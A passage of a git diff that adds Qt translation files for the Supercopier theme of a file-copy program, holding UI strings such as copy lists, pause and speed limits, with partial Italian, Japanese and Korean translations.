+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/it/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/it/translation.ts
new file mode 100644
index 0000000..255c3b1
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/it/translation.ts
@@ -0,0 +1,336 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="it" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>File %1/%2, dimensione: %3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation>Lista della copia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation>Lista dello spostamento</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Non chiudere se vengono rilevati errori</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation>Non chiudere mai</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation>Chiudere sempre</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation>Nome del file, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation>Scegliere un colore</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Non chiudere se vengono rilevati errori</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation>Non chiudere mai</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation>Chiudere sempre</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation>Scegliere un colore</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>Da:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation>a:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished">Chiudi alla fine dei trasferimenti</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation>Altr&amp;o</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Pausa</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Salta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annulla</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Ridurre la velocità di copia a:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation>Lista dei trasferimenti</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation>Sposta in cima gli elementi selezionati</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation>Sposta sopra gli elementi selezionati</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation>Sposta sotto gli elementi selezionati</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Sposta in coda gli elementi selezionati</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation>Aggiungi file/cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation>Elimina gli elementi selezionati</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation>Cerca</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation>Esporta la lista dei trasferimenti</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation>Importa la lista dei trasferimenti</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation>Precedente</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation>Successivo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation>Interfaccia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation>Aggiungi file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation>Aggiungi cartella</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation>Sposta file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation>Sposta la cartella</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation>Copia file</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation>Copia la cartella</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation>Mostrare la doppia progressione</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation>Mostrare la velocità come principale informazione</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Iniziare col pulsante &quot;Altro&quot; attivo</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">Alla fine della copia: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Ridurre la velocità di copia a:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation>Velocità nella barra di progresso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation>Colore della progressione</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation>Mostrare la percentuale di progresso sul titolo</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation>Sempre in primo piano</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/ja/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/ja/translation.ts
new file mode 100644
index 0000000..6ba3c00
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/ja/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/ko/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/ko/translation.ts
new file mode 100644
index 0000000..4354bd2
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/ko/translation.ts
@@ -0,0 +1,336 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ko_KR">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="+180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+82"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished">파일 %1/%2, 크기: %3/%4</translation>
+ </message>
+ <message>
+ <location line="+214"/>
+ <source>Copy list</source>
+ <translation type="unfinished">복사 목록</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+421"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">오류 발견시 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation type="unfinished">절대 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation type="unfinished">항상 종료</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished">파일명, 0KB</translation>
+ </message>
+ <message>
+ <location line="+183"/>
+ <location line="+12"/>
+ <location line="+12"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+75"/>
+ <location line="+4"/>
+ <location line="+2"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="+197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">오류 발견시 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation type="unfinished">절대 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation type="unfinished">항상 종료</translation>
+ </message>
+ <message>
+ <location line="+187"/>
+ <location line="+15"/>
+ <location line="+15"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
